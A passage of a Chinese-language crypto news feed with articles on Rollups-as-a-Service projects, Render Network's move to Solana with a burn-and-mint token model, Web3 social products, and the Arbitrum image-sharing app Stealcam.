L2s 成为以太坊之上的「实验层」。例如，以太坊开发人员可以轻松启动新的 rollup，以便在生产中测试新的 ERC 和 EIP，而不是等待以太坊 L1 全面更新之后，甚至在其它更为成熟的 L2 都更新了之后（如 Optimism 主网）才去行动。 Arbitrum AnyTrust 及其首个针对游戏优化的部署 Nova 是 Arbitrum 的模块化解决方案，它允许使用 Arbitrum 的执行层 Nitro，并具有使用 DAC 实现链下数据可用性的能力，以及在 L2 出现任何问题时，自动将数据传输到以太坊 L1 上处理的故障转移功能. 上周，随着空投公告的发布，Arbitrum 宣布推出 Orbit，一种可以在 Arbitrum 上以完整 rollup 或 AnyTrust 实例的形式启动 L3 的开发人员解决方案。 与 Stylus 配对后，Orbit 允许开发人员使用 C、C++ 和 Rust 构建应用程序，同时也包括 Solidity 等 EVM 语言。Offchain Labs 预计将利用 L3 进行快速实验，例如引入新的治理机制、对 Nitro 进行修改等等，这将采用无许可的 rollup 操作来实现。 Slush 建立在 StarkNet 之上，提供了一个 SDK 来在 StarkNet 之上构建 zkVM L3。Starkware 提出了分形拓展的概念，被认为是 L3s 的开创者。 zkSync 也正在思考分形扩展和 L3，它们将其称之为「Hyperchains」。Hyperchains 采用 LLVM 技术，是在 L1 主网上运行的 zkEVM 的分形实例，并可以并行工作。通过共同在 L1 主网上进行结算，实现跨 Hyperchain 的互操作性。 任何人都可以无需许可地部署 Hyperchain，使用可定制的模块化 zkEVM 链堆栈，该堆栈由与主要 zkSync L2 完全相同的 zkEVM 引擎提供支持。开发人员可以选择不同的虚拟机（例如，MoveVM）、不同的排序器设计以及不同的数据可用性方案（zkRollup、zkPorter 和 zkValidium）。 此外，Matter Labs 团队对 Hyperchains 上未来的执行环境可以变的非常短暂或是临时的这种发展可能性有一定的愿景。例如，可以快速创建一个 rollup 来轻松铸造数百万个 NFT，随后可以将这些 NFT 传送到另一个执行层，然后关闭临时的 rollup。 Caldera 则拥有一键部署模块化链的愿景，最初从 optimism 的 rollups 开始。他们已经在测试网络上进行了 optimism rollups 的在线演示，并且已经与 Curio 等游戏客户进行合作，开始了在主网上的构建。 Stackr 还很早期，但他是 ETH Global 的赢家，而且看起来很有前途。他们希望能够利用「微型 rollup」创建「混合应用程序」，让 rollup 可以自由选择执行、数据存储和充分地去中心化。 目前关于 Conduit 的信息不多，但它与 OPStack 相关，同时他们也致力于实现「一键部署」的体验。 The Cosmonauts（Cosmos 生态支持者） Dymension 的 RDK 允许在 Cosmos 上创建连接到 Dymension Hub 的 RollApps。Dymension RollApps 使用与 Cosmos SDK 相同的工具构建，主要区别是替换共识自由区块链模块（即没有验证者转换逻辑），并且预计比 Vanilla Rollups 更具可扩展性，因为数据发布的带宽问题将不会变成他们的瓶颈。 Dymension Hub 将允许 RollApps 和其他启用 IBC 的链之间进行轮毂式 IBC 连接，这不仅有利于用户，还增加了 Dymension Hub 作为自治网络的地位。 （译者注：轮毂式 IBC 连接是一种在区块链世界中实现跨链通信的方法。在传统的轮毂，一组车轮围绕中心轴心旋转，每个轮毂都连接到中心轴，轮毂之间没有直接连接。 就像区块链中，每条链都只能与主链进行通信，而不能互相之间通信，轮毂式 IBC 连接的出现改变了这种结构，这种改变使得不同的区块链可以实现更紧密的互操作性，通过直接连接进行可靠、安全、高效的跨链通信，为区块链应用程序提供更广泛的应用场景。） Saga 是一种弹性区块空间平台，允许开发人员根据需求部署完全安全、去中心化的" chainlets "，并利用其主验证节点集的安全性。 Saga 支持多个底层平台用于 chainlets，包括 Cosmos appchains、Celestia rollups 和 Polygon Supernets。像其他 RaaS 项目一样，Saga 专注于游戏领域，并支持游戏行业需要的任何技术。 Initia 是一个模块化解决方案，也在进攻游戏市场。他们利用 MoveVM 作为执行层、ZK 证明和 Cosmos SDK 进行快速结算和数据可用性。 Initia 计划通过所谓的「大厅论（The Lobby Thesis，即提供了一个平台，让 L2 项目之间可以互相交流和协作）」来完善他们的 L1 生态系统，以实现 L2 之间的组合和交叉，而不仅仅专注于 L2 基础设施。 Evmos 计划开发 Evmos SDK，使开发人员可以轻松地使用 Ethermint 构建并在 Cosmos 上启动新的兼容 EVM 应用链。 Berachain 最近宣布推出 Polaris，这是一个重构的区块链框架，支持将以太坊虚拟机与任何共识机制集成，包括 Cosmos SDK/Tendermint 等。该团队还将构建额外的开发人员工具和基础设施，以使使用 Polaris 进行构建变得顺畅——例如区块浏览器和钱包等。 Eclipse 正在构建一种 Settlement Rollup，该 Rollup 允许在其上构建 SVM 和其他 VM 执行层，使用 Cosmos 和 Polygon，以及最终其他 L1 以获取数据可用性。 The Celestians Celestia（之前是 Rollmint 和 Optimint）的 Rollkit 是一个模块化框架，用于创建主权（Sovereign）rollup 或 Optimism rollup（即将推出），并带有模块化数据可用性组件。 Rollkit 具有通用的数据可用性层（DA 层）接口，可以插入任何 DA 层，包括与比特币进行争议集成。 Astria 是使用 Celestia 作为数据可用性的 Settlement rollup 执行层。 Fractal 是一个为建立 zkVM rollups 提供支持和资源的中心。 Sovereign Labs 正在为「Internet of Rollups」构建 Sovereign SDK，使用任何 L1 进行数据可用性和排序，并使用任何 LLVM 兼容证明系统进行 zk-proving（例如 RiscZero 或 Nil Foundation）来创建主权 zk-rollups。 其他团队 Artesi 正在使用现成的工具（如区块浏览器和 MPC 钱包）构建「全栈」rollups。 Alt Layer 专注于创建用于有时间限制的短期使用场景的「闪电层」（flash layers），这些层是临时的自信 rollups。他们正在使用 Substrate SDK。 Cartesi（不要与 Artesi 混淆）正在创建一个区块链 SDK，用于 Optimism Rollup，并带有可编译为 Risc-V 的 Linux 操作系统。 Opside 提供 zk-rollups 作为服务，使用其创新的「三层」平台。 02、dApp-Chain 团队 我们现在已经了解了所有可以使构建模块化链变得更容易的解决方案，但是谁在实际构建新的链呢？ 主要有三个类别：游戏、DeFi 和创作者经济。 游戏 迄今为止，游戏是最常被提及的 RaaS 项目用例 - 其中许多只关注于游戏用例。 GameFi 一直是区块链领域的金矿，多年来出现了「游戏链」，例如 Efinity、Flow、Enjin、ImmutableX（首先是 StarkEx，现在在 Polygon zkEVM 上），以及其他项目。 这是有道理的。与金融应用程序相比，游戏需要完全不同的参数：更低的安全性、更高的吞吐量、更高的存储容量等。 RaaS 项目正在加入面向 Web3 游戏的竞争中。 DeFi 更具体地说，是独立的金融应用程序。 不需要共享执行层可组合性的应用程序在模块化的环境中运行良好。例如支付（Terra 的 Chai）和派生品（例如 dydx，perps，结构化产品）等用例。 创作者经济 这有点像一个综合词汇，但是 Web3 社交、代币门控、社区／社交代币项目也正在积极开发他们自己的应用特定的模块化区块链。 这也是有道理的，因为这些应用程序也是自包含的，不受当前跨链共识的可组合性缺乏所困扰。 我非常看好利用模块化堆栈和 RaaS（Rollups-as-a-Service）解决方案来推广区块链技术。 然而，我也意识到，就像我在整个五年的加密货币生涯中看到的那样，我们仍然处于非常早期的阶段。 像 Fuel、Celestia 和 zk rollups 这样的模块化项目仍未推出。大多数 RaaS 项目仍处于 alpha 测试阶段或已手动配置了权限部署。 更不用说应用程序协议团队考虑部署自己的 dapp 链的新生态了。目前情况是，对于任何开发团队来说，构建一个特定于应用程序的模块化链还不是一件易如反掌的事情： 离开共享状态机后，连接性和可组合性就会受到影响。 现有基础设施，如 RPC 端点、块浏览器和钱包，不能直接使用，而在自己的基础设施上运行则成本高昂。 流动性分散，并且需要从零开始建立社区。没有网络努力继承底层基础链。 最后，还有一个挥之不去的忧虑，即这是否只是「一路的挖掘和铲子」。 （译者注：这里的「一路挖掘与铲子」，是指关于加密货币和区块链技术的忧虑和担忧，认为整个行业只是在重复做着相同的事情，类似于淘金热时期的金矿工人挖掘并采集金矿。） 除了强大的开发工具，该领域还需要有标志性的应用程序，在下一轮牛市中带来一波新用户。 他们需要解决真正的用户痛点，这些痛点将出现在未来百万条链的世界中:组合性问题、跨链价值移动甚至是链的完全抽象化。 本文研究了区块链技术的未来发展趋势，主要提及了 Rollups-as-a-Service (RaaS) 的概念。RaaS 项目旨在为开发团队提供一个轻量级、可配置的 Rollup 解决方案，帮助他们快速搭建和维护内部区块链。 与云计算中的 AWS 类似，RaaS 项目可将底层基础设施的复杂性从开发人员中抽象出来，让他们专注于应用的开发和运营。 文章列出了当前 RaaS 领域的各种解决方案和项目，主要包括： 事实上，随着数字资产应用场景的不断增多，硬分叉和软分叉已经无法满足各类特定需求的区块链应用场景。 RaaS 项目应运而生，帮助开发者快速构建模块化区块链，并可根据需求进行扩容和升级，从而为数字资产、游戏、社交、DeFi 等场景提供高效、安全、持久的解决方案。 当然，此前也有许多区块链项目和平台计划推出类似的服务，但由于开发者能力和知识不足等原因，这些计划的实际落地要面临诸多困难，因此 RaaS 的解决方案还有待进一步发展和改进。  ( 8 min )
    Render Network为何迁往Solana，并构建铸造和销毁模型
    3月21日，分布式渲染项目Render Network宣布在Solana网络上构建BME模型（Burn and Mint Equilibrium，铸造和销毁模型），以回应社区对从Polygon网络转向Solana的提案。 在BME模型之下，RNDR代币将会获得更多的价值支撑，也将在事实上转入通缩机制，同时，也有助于验证节点运行商提交的工作量证明。而在Solana网络上，渲染的效率和速度将会显著提高，也有助于BME模型的顺利实施。 如果提案顺利实施，Render Network将逐步脱Polygon入Solana，在目前的以太坊生态席卷之势下，可谓是逆行之姿态。但是Render身处渲染领域，对网络的高速度需求是第一位的，在社区情绪调查中，55%的用户赞成转移至Solana，31%的用户支持Aptos和Algorand等高度L1公链网络，而只有14%的用户选择Polygon。 铸造和销毁模型赋能RNDR 以太坊主网虽然可以确保安全性，但是堵塞时间会直接拉高Gas Fee，而Polygon的验证节点过少导致其中心化程度较高，Solana 的活跃验证者大约为 2000个，而Polygon 大约在100左右。 而链上实时渲染，需要网络保持企业级的稳定运行状态，而目前的Solana因频繁宕机，其实无法完全满足Render的需求。 而BME机制则是已经被Helium等项目验证过的成熟机制，较为适合当前的Render在无缝切换主网的同时确保安全性。Render Network 可用异步的方式完成运行，并将 RNDR 支付给节点运营商，并且链下记录也可以正常延续到未来的节点中。 为了保证迁移的安全性，BME 模型可以在非实时依赖的情况下运行，并允许在遭遇停机问题时可以进行批处理以保证节点完整性，以最大程度降低链上依赖性。 具体而言，BME模型是在用户（艺术家）和节点运营商之间的配比平衡机制，用户使用RNDR作为向节点运营商的支付手段，用户需要销毁对等的 RNDR，以换取分配给节点运营商的工作积分。 Render主网络的BME机制将具有代币释放量上限，并且会保持目前的创作者——节点运营商双向市场模式，BME模型将包括节点运营商、创作者和流动性提供者（LP）。 Render主网铸造 RNDR 代币将按各节点完成的工作量分配给运营商，并可能与某些声誉评分进行比例调整，同时，代币整体数量可动态调整，以满足不同网络情况下的使用需求。 具体而言，每项工作都将以美元定价，创作者将燃烧等值 RNDR 代币，随后一组不可转让、不可替代的工作量证明积分（Render Credits）将被发放给创作者，并分配给节点运行商以记录网络上完成的工作。 不同于代币销毁和积分发行过程，网络将在每个时期铸造一定数量的基础代币，并将其分发给节点运行商，节点运营商可在网络上提供价值而获得补偿，这种价值可分为以下两部分： 而LP（流动性提供者）可为流动性池贡献质押代币而获得奖励，从而使 RNDR 可用于新的销毁和铸造均衡系统。 在这种情况下，RNDR的资产属性可以被进一步挖掘，同时，引入燃烧机制和积分转换，将显著降低RNDR的流通量，在网络利用率达到一定负荷条件下，RNDR可以成为事实上的通缩机制。 高速网络的优势 Render Network计划脱离Polygon并非一时兴起，早在2022年6月的RNP-001提案中，就已经计划引入BME模型以在Solana网络上构建新的扩展网络。 回归到Render Network本身的需求，分布式渲染需要实时网络、渲染的较高硬件需求以及可交互的信息传递机制，并且需要在链上同步节点状态以维护去中心化网络。 具体而言，Render社区考虑了以下标准： Render已经是一个年处理帧数达数百万量级的成熟项目，需要备选Layer 1网络具备在大规模、高负载下的承压能力、以及满足链上和链下的流动性。最直观的数据是TPS，以太坊主网大约只有14 TPS， Polygon 的平均值是主网的两倍，大约为 29 TPS，而Solana 平均 TPS 是 Polygon 的 140 多倍，大约为 4000TPS。 此外，渲染网络的链上状态同步对网络流量要求非常巨大，交易成本必须被首先考虑，根据测算，Solana 网络比 Polygon 具有更高的交易吞吐量和更低的交易费用。按照目前的需求测算，在网络上运行单次200帧的渲染费用需要200笔交易，包括数据上链和完成后的付费，以太坊主网大约需要140美元，而Polygon需要 5 美元，而Solana只需要 0.001 美元，比 Polygon 减少了大约 5000 倍。 Render网络还需要考虑未来的需求，一旦大规模人群使用，则对高吞吐量、低延迟网络具有特殊需求，而考虑到链上网络的承载量，答案依旧呼之欲出，只有Solana满足这种高速需求。 最典型的是NFT技术的大规模使用时代的Gas Fee需求，比如大型3A在线游戏，链上社交的海量数据，这些数据都需要上链以满足动态、多样化的表现形式，这些资产类型会需要数百万级的渲染工作量，包括任何图片、视频的单个组成部分，包括3D 模型、纹理、脚本、HDRI、效果、自定义渲染图节点、体积、光线、sdf/网格和场景图状态等等。此外，Solana Labs 和 Metaplex 开发的用于 NFT 的默克尔树压缩技术使用于渲染场景的标记资产的能力呈指数级增长。 对比Solana和Polygon之后，Solana更能满足Render的需求。比如，Solana使用的Rust语言可以比solidity提供更好的灵活性和更高的运行速度，便于开展GPU渲染工作，其次Solana虚拟机可以支持C/C++或Rust代码，以将其转化为智能合约。在 2022 年 12 月的一项调查中，Rust 的受欢迎程度是 Solidity 的 5 倍以上。 但是，不论是以太坊主网的笨重，还是Polygon和Solana的高速低价，目前都并不能完美满足Render的 未来需求，还需要额外的措施来确保Render发展进度。 随着区块链技术的发展，诸如传统互联网领域的专业级、企业级服务逐步迁移至区块链网络之上，而Render Network代表的渲染服务也需要更高速、更稳定的网络服务，一方面，这代表着区块链网络的长足进步，但是也要注意到，目前的Solana、Polygon和以太坊主网都无法真正满足Render的全部需求。 发展的问题要在发展中解决，诸如BME机制已经在Helium和Render中得到采纳，可在一定程度上抵消网络本身带来的问题，而一旦更高速的L2网络得到普及，Render也暗示会继续迁移。  ( 5 min )
    从社交本质出发，深入探究Web3.0社交产品的现状和未来
    原文：《AC Capital：如何打破社交疲劳？探究 Web3.0 社交产品的现状和未来》 作者： 钟怡 随着Web3.0社交产品的普及，其用户数量不断攀升。然而，一旦空投结束，日活用户数量就会急剧下滑。项目需要什么来维持生命力？代币化是否能够真正激励用户参与仍是一个谜团。加上代币在二级市场暴跌，Web3.0原生应用是否有立足之地，如何平衡好内容审核和去中心化社交之间的矛盾关系？ 这些问题都是Web3.0社交领域的创业者们需要思考的。在这篇文章中，我们将从社交本质、Web3.0社交产品的意义、分类和特点、问题以及优化方向等多个方面进行探讨，帮助大家更好地了解Web3.0社交产品的现状和未来，并提供一些解决社交疲劳问题的思路。 社交的本质是“人与人之间的关系+互动”，广义地分为熟人互动和基于用户兴趣的互动。然而，Web3.0的加密原住民总数本来就不多，因此专注于熟人互动的产品可能为时过早。基于用户兴趣的交互需要在新的交互场景中创造新的关系，简单地从其他平台复制和迁移社交关系并不可行。 据预测，到2027年，全球社交媒体用户数量将达到近60亿。而目前，平均每位互联网用户每天花费144分钟在社交媒体和即时通讯应用上。尽管传统的中心化社交平台拥有巨大的用户基础，但是它们也面临着诸多问题，如数据泄露、内容审查和算法偏见等。 为此，越来越多的人开始关注Web3.0社交产品。Web3.0社交产品基于区块链技术，可以实现去中心化的社交体验，确保用户数据的隐私和安全。同时，Web3.0社交产品可以消除中心化平台的审查和算法偏见，并且给原始内容的创作者带来更多的自主权。因此，Web3.0社交产品备受关注，可能会成为未来社交媒体发展的趋势之一。 Figure1.Source:https://www.statista.com/statistics/272014/global-social-networks-ranked-by-number-of-users/ 从这张图表中可以看出，Facebook是社交媒体领域的霸主，每月活跃用户超过29亿。Meta Platforms则拥有四个月活跃用户均超过10亿的最大社交媒体平台，包括Facebook（核心平台）、WhatsApp、Facebook Messenger和Instagram。这些大规模的中心化参与者已经成功地垄断了整个行业。然而，随着SocialFi的出现，这种局面可能会被打破。 SocialFi的出现是为了弥补传统社交平台的缺陷，Twitter联合创始人Jack Dorsey曾总结了社交媒体应遵循的三个原则： 1.社交媒体必须对企业和政府的控制具有弹性； 2.只有原作者可以删除他们制作的内容； 3.审核最好通过算法选择来实现。 基于公平和去中心化的原则，区块链的社交媒体应用在2022年末获得了蓬勃发展。这可以从与社交DApps的智能合约交互的活跃钱包地址总数的急剧增长中得出。目前，社交DApps的智能合约总数正在急剧增长，SocialFi的新趋势可能会彻底改变社交媒体行业的格局。 02、Web3.0社交产品的常见分类及特点 当前，流行的社交和DID项目主要包括基础设施、中间件、应用和工具等。其中，SocialFi赛道正在逐渐发展壮大，许多项目基于社交代币，融合DeFi的元素，不断进行技术更新和升级，成为了SocialFi项目。 根据Social代币的发行项目，可以将其分为以下几类： 个人代币：代币持有者可以访问早期的粉丝群，享受折扣或提前参与活动，并获得商品、NFT等。这种代币代表了状态或连接参与度的象征，早期的创作者或企业家可以获得经济回报。典型项目包括RAC，由格莱美奖获得者DJ RAC (André Allen Anjos) 基于以太坊推出的粉丝代币，以及ROLL (CreatorToken)，Roll是老牌社交代币发行平台之一，通过该平台创作者可以创建ERC-20代币，即为内容创作者发行个人社交代币。除此之外，MeTokens和MintGate都是基于以太坊的社交代币发行平台，而ALEX则是一个建立在Solana上的社交代币项目。 社区代币：社区代币主要由群体发行与控制，通常由去中心化自治组织（DAO）治理。主要用于激励社区成员为社区做出贡献，例如获准进入社群，享有特殊的资讯信息等。社典型案例是WHALE。WHALE Token具有各种NFT民主化的资产所有权，以WHALE DAO为基础，围绕这些NFT治理的决定权在代币持有者手中。其他社区代币项目包括Mirror、FWB等知名项目，以及Cent、Yup、Matataki、SWAGG、KarmaDAO、 Ark、Seed Club、Forefront、Flamingo。最近比较多关注的还有Aavegotchi（GHST）：将DeFi和NFT相结合的项目，通过在游戏中获取稀有的Aavegotchi NFT代币来激励用户参与社区治理和贡献。 铸造分发平台币：社交平台代币代表对平台的控制代币，主要为了便于创作者发行并管理好Token化社区。典型的项目有Chilliz，它是一种“粉丝经济”下的社交代币，主打体育产业。此外，还有RALLY以及BitClout等知名项目，以及Zora、CircleUBI、Loopss、Fyooz、Bluesky、Audius、Mastodon、Nafter、Coinvise、Calaxy、Clarion等。 除了以上三种代币之外，社交代币在项目运营中需要使用代币分发等第三方工具，这些工具有时候也会与其他生态的区块链项目使用的工具有所交叉。还有一些典型的项目值得关注，例如Mask Network。Mask Network以“插件”的方式桥接了Web2.0和未来的Web3.0概念，允许用户在无需迁移的情况下在已有社交网络上层无缝发送加密消息、加密货币甚至DAPPs（DeFi、NFTs、DAO）。Mask Network采用了分布式系统的技术，使得用户在使用社交网络时不再需要依赖中心化服务器。这意味着你的数据更加安全，同时也更加私密。 Web3.0社交平台是基于区块链技术和去中心化的理念构建的，与传统的中心化社交平台有着显著的区别。但是，Web3.0社交平台在发展过程中也面临一些问题，主要包括以下几个方面： 1）数据存储成本高：Web3.0社交平台将用户数据分散存储在区块链网络中，这种方式相比于传统的集中式存储方式，需要更多的计算资源和存储空间，这也导致数据存储成本较高。在Web2.0每天有数千亿的数据在社交媒体平台上传、点赞和评论。这样的数据规模对于区块链来说是一个巨大的挑战。然而，现在出现了一些解决路径来应对可扩展性问题。其中一种方法是通过增加区块大小或者分片来并行处理。另一种方法则是像Farcaster一样将身份信息和读写数据的能力存储在链上，而将其他数据存储在链下服务器FarcasterHubs中。相比于增加区块大小或者分片来并行处理，这种方案更注重链下存储和处理数据的能力，从而提高可扩展性。这种方式可以确保用户完全掌握自己的身份、社交关系和数据信息，同时保证了数据的安全和隐私。 2)社交网络效应不足：Web3.0社交平台相比传统社交平台，用户规模和活跃度较低，因此平台上的社交网络效应不如传统社交平台强，用户可能面临难以找到合适的社交圈子和交流对象等问题。 目前Nostr和Farcaster的用户群体主要是比特币和以太坊用户，以及金融科技行业从业者。吸引大量传统Web2.0基础用户使用SocialFi应用并不是轻松的任务，就像当初引导你的亲戚使用微信一样，Web3.0社交平台目前的用户界面和操作方式相对传统社交平台来说还比较陌生和不便利。大众教育需要更多的时间和资源。虽然激励是一个有效的方法，但并不足以单独解决这个问题。 一些项目方提出了一些有趣的想法，例如制作Twitter等社交媒体的中间件工具，以帮助用户熟悉SocialFi，并且实际拥有他们产生的数据。在巨人的肩膀上借力，确实可以更好地吸引用户。然而，对于一些原生SocialFi应用来说，吸引Web2.0用户是非常困难的。那些试图通过简单的复制或模仿Web2.0产品设计的产品，只是一种投机取巧的做法。只有那些使用区块链原语为用户带来变革性体验的社交产品，才能真正实现广泛落地。 3）跨平台互动困难：Web2.0时代的社交媒体平台之间通常缺乏标准化的数据格式和API，这也使得在不同平台之间传输和共享数据变得非常困难。Web2.0社交网络之间缺乏互通性，用户需要在多个社交网络之间切换，无法将不同社交网络上的好友、关注者等资源整合起来。 随着不同的生态体系和激励算法的出现，社交数据在不同的生态系统中穿越变得更加容易。例如：Nostr协议通过公私钥体系实现了社交数据的重新整合，使得不同社交网络的用户数据可以在Nostr生态中同步，并且在API可用时，可以实现跨协议传播数据，从而实现了社交网络之间的互通。这也有助于减少用户对于多个社交网络的依赖和使用成本。 虽然Lens为其他DeSoc项目提供了同步数据的API，但由于不同的DeSoc协议之间可能采用不同的数据格式、加密方式和验证规则等，需要协议之间进行合作和沟通，以制定标准化的数据格式和验证规则，这些差异和障碍可能会导致跨平台互动实现SocialFi的大规模社交变得困难。 另外，由于不同的DeSoc协议具有不同的生态体系和激励机制，用户可能更愿意留在他们最初的DeSoc协议上，而不去选择在不同的协议之间进行跨平台互动。这种惯性可能会导致社交网络的碎片化，使得实现SocialFi的大规模社交变得更加困难。 因此，跨平台互动从而实现SocialFi的大规模社交仍然是一个遥远的目标。需要协议之间的合作和整合，以促进数据共享和互操作性，并在社交网络生态系统中创造更大的协同效应。 4）实现可持续经济模式：目前，SocialFi的主要价值捕获方式有两种。一种是为用户的社交行为奖励，例如转发、点赞、评论等，从而获得收益。另一种是通过内容创作激励，具有粉丝基础的创作者可以在其社交代币中创建订阅模型，获得高级访问权限。此外，当用户想要访问优质创作者的最新内容时，他们可以使用代币付费。如果内容质量非常高，使读者建立了阅读和订阅习惯，这种系统将为SocialFi平台带来更多独家和可共享的内容。 然而，目前我们看到的大部分项目中，内容提供者80%为项目方本身团队，20%的内容存在严重的同质化问题，或者准确度难以求证，在更新频次和质量上难以控制。读者只能通过简单的“阅读数”来衡量内容的受关注度，并使用自己的知识储备来求证内容的真实性。在这种情况下，缺乏高质量的内容创作和激励机制以及客观完善的审核机制成为发展瓶颈。 5）商务拓展进入白热化阶段：GameFi通过“Play to Earn”模式成功地捕获了其所提供的价值，全球各地的玩家可以通过玩游戏来创造和捕获价值。而SocialFi所蕴含的价值则隐含在一次次的社交互动中，需要通过内容创作者个人价值的彰显才能够获取来自SocialFi的价值。对于拥有头部流量的Influencers而言，在SocialFi的项目中也成为了众多竞争者争抢入驻的首选标的。例如在其SocialFi社区中，Influencers可以更加方便地变现粉丝经济或者加强群内的快速交流，从而加强与粉丝之间的联系。这也导致Influencers的商业拓展进入了白热化阶段。SocialFi则希望通过将社交影响力通证化，打造一个自洽的经济系统，以帮助更多拥有不同级别社交影响力的人获得与其社交影响力相对应的收益。 2023年，SocialFi仍将是下一个周期的热点之一，这一领域的发展潜力仍然值得关注。在这个领域，我们看到越来越多的中间件和协议在不断创新和演进，使社交应用变得更加稳定、安全、快速和可扩展。 在SocialFi的协议层面，存储、通讯、内容分发和信誉/凭证等方面的技术正在不断创新。其中，去中心化的社交媒体协议和中间件受到越来越多的关注。除了Nostr和Farcaster，LensProtocol是最火热的DeSoc协议之一，基于Polygon的Web3.0社交图谱协议，充分利用了NFT的潜力，以NFT为基础构建社交图谱，用户完全掌握自己的链上活动轨迹数据。目前，已有超过10万用户使用该协议，这表明社交媒体协议和中间件的潜力和吸引力。 另一方面，在公共网络上共享个人信息常常令人不安，而随着Web3.0社交的兴起，隐私将成为一个重要的创新领域。zk技术是一种隐私保护技术，可用于在区块链上实现私密和安全的交易。将SocialFi和zk技术结合起来，可以提高借贷交易的安全性和隐私性。在SocialFi平台上，zk技术可以用来保护用户的交易数据，防止它们被未经授权的第三方访问。同时，zk技术可以保护出借人的隐私，确保他们的贷款信息不会被泄露。但需要注意的是，在保护隐私的同时，也要平衡匿名属性与建立社会地位之间的冲突。 综上所述，Web3.0社交产品需要不断创造新的交互场景，建立用户之间的新型社交关系，从而打破社交疲劳。 在未来，Web3.0社交产品需要探索更多创新性的交互方式和社交场景，以吸引更多用户加入。同时，还需要解决用户体验、扩张性、隐私保护等问题。随着技术的不断进步，我们相信Web3.0社交产品将会更加成熟和普及。 文章参考： https://cointelegraphcn.com/news/SocialFi https://thedefiant.io/three-trends-shaping-SocialFi https://medium.com/@hello_1905/interpretation-of-damus-communication-logic-the-myth-of-DeSoc-cfb4e3200a1b https://wearesocial.com/hk/blog/2022/04/more-than-5-billion-people-now-use-the-internet/  ( 4 min )
    Arbitrum图片社交应用Stealcam走红：窥私欲与所有者经济完美结合，加密OGs集体点赞
    原文：《加密OG都在玩的Arbitrum应用Stealcam：窥私欲与所有者经济的完美结合》 作者：LeftOfCenter 就在大家都为 Arbitrum 空投狂欢时，一款 Arbitrum 生态的图片分享应用 Stealcam 正在默默积蓄力量，短短两周，在不靠空投预期也没有发行 token 的情况下，仅靠自然增长累积交易量就超过了 313ETH（约合 50 万美金），OP Stack 核心开发团队 Base 开发主管 Jesse Pollak 评价其为「自己最爱的一款独特的链上新产品。」 这款近日有点小火的 Web3 产品名为 Stealcam，说它小火是因为加密行业的热点和关注度往往与 TVL 有关，从这个指标看，它确实只是一个有点小火甚至不值一提的应用。 然而，在没有空投预期也没有发 token 的产品 beta 期，这款图片应用仍获得了一定的有机增长，beta 版仅上线两周产生的总交易量达 50 万美金，仅靠在原有图片应用的基础上加入了新的分发模式（将人类的窥私欲+名人效应+所有者经济模型巧妙地结合起来），就吸引了大量艺术家、KOLs、VC 合伙人的入驻，并获得了不错的口碑。 简单来说，Stealcam 是一款图片社交分享应用，用户可上传图片或视频文件至该平台上，这一点上和普通的互联网拍照应用无异。 不同的是，该平台上发布的图片不是免费访问，而需要 steal（支付一定费用，目前仅支持 ETH 支付）才能获得 reveal（开图）权，然后查看图片的具体内容。 「开图权」并非无限期享有，只有当你是该图片的最新一个开图者时才能查看该图片的内容， 每张图片都可被无限次 steal，每一次 steal 都会在前一次 steal 价格的基础上增长 10% 并加上 0.001 ETH。如果一张图片非常热门，参与 steal 的人很多，那么有可能在你 steal 完后想要 reveal 时就已经被其他人 steal 走了（steal 和 reveal 是两次操作，需要 2 次签名），为了查看内容，你得再次将其 steal 回来。 每一次 steal 所产生的收入会将上一个 stealer 的购买成本全部返还，而两次 steal 产生的差价会在创作者、上一个 steal 参与者和协议之间分配，其中创作者和上一个 stealer 分别获得 45%，10% 分配给该协议。 每一次 steal 所产生的收入会退还给上一个 stealer，也就是被 steal 的人获得全额退款，并且可获得差价的分成 总结一下就是，Stealcam 在传统图片社交应用的基础上加了一层像素化打码，允许其他人付费浏览内容，它通过引入竞拍激励模型，将一件作品的所有参与者（创作者和上一个购买者）都计入到了利润分享模式中，从而可促进作品的价格发现。 虽然从上线到现在为止仅两周时间，目前仍处于 beta 测试阶段，用户界面看起来也稍显粗糙，但作为一款 Web3 应用，无论是口碑还是用户自然增长上看，Stealcam 交出的成绩本都可圈可点。 数据上看，该平台生成的图片数量已突破 1,1000，这可从官网的最新发现页面中最新发布的图片 ID 可看出，该平台上发布的图片编号按照先后次序展示在最新发现页面中。 由 nazih.eth 发布的 Stealcam dune 面板显示，Stealcam 上发布的图片累积 steal 次数达 2 万次，每日 mint 次数最高达 1499 次，每日 steal 次数最高达 4175 次，累积交易量超过 313ETH（约合 50 万美金），用户赚取收入累计达 40ETH（约合 68000 美金）。 根据官网的 TOP 10 收入排行榜，排行首位的是NFT 艺术家 Shl0ms，收入为 4.2ETH（约和 7600 美金），排行第二和第三的分别赚取收入 3.6ETH（约和 6551 美金）和 1.87 ETH（约和 3331 美金）。 将 Stealcam 收入排名榜 继续往下拉，我们发现这个仍处于 beta 测试期的应用已经吸引来自加密 og、艺术家甚至是 Web3 应用们的入驻，其中，排名第 14 位的是 USV（联合广场基金）联合创始人 Fred Wilson，他通过在 Stealcam 上发布了 10 件作品赚了 0.53 ETH，排名第 17 位的是钱包应用 rainbow，该应用通过发布图片在 Stealcam 赚取了 0.4 ETH，排名第 25 位的是加密基金 Variant Fund 联合创始人 Li Jin，另一名 Variant 联合创始人 Jess 则排名 79 位。 团队创始人为匿名 OG Racer（推特号 @0xRacerAlt）和shrimp（@shrimppepe）。 用例和玩法 作为一款图片应用，发布图片和分享图片当然是最基础的玩法，用户在 Stealcam 上发布图片/视频，然后分享给其他人付费 steal 查看，此外，你也可以付费 steal 查看朋友、同事、家人等其他人的图片。 而作为一款加密应用，当然还有一些区别于普通图片分享应用的玩法。对于 Stealcam 来说，这就是 mint 和 steal，并在底层加密协议的加持下将所有制经济机制纳入进来，让一张图片的所有竞拍参与者都可获得该图片产生的一部分收益。 发布作品：尤其适用于艺术家 先说 mint。 mint 就是在 Stealcam 上传作品（包括图片/视频），像素化打码后进行发布，等待其他人付费 steal（开图），并赚取收入。 在 Stealcam 默认的分配机制下，除了首位 steal 玩家可以免费开图，之后每次 steal 都会产生收入，起始价是 0.001ETH，之后会以固定比率在每一次 steal 产生时增长，每一次 steal 所产生的收益除了返还当次被 steal 的竞拍者的出价之外，两次 steal 的买卖差价会在创作者、当次被 steal 的竞拍者（相当于卖家）和协议之间分配，其中，创作者和被 steal 的竞拍者获得比额相当的收入——两次买卖差价的 45%。 可以说，这种一开始就将竞拍者（stealer）纳入到收益分配机制的做法十分适合艺术家发布作品，同样，这也是将所有制经济与社区贡献挂钩，并在底层加密协议的加持下进行收入分配的一次有效实践。 在目前加密熊市（NFT 市场更熊）的情况下，大部分 NFT 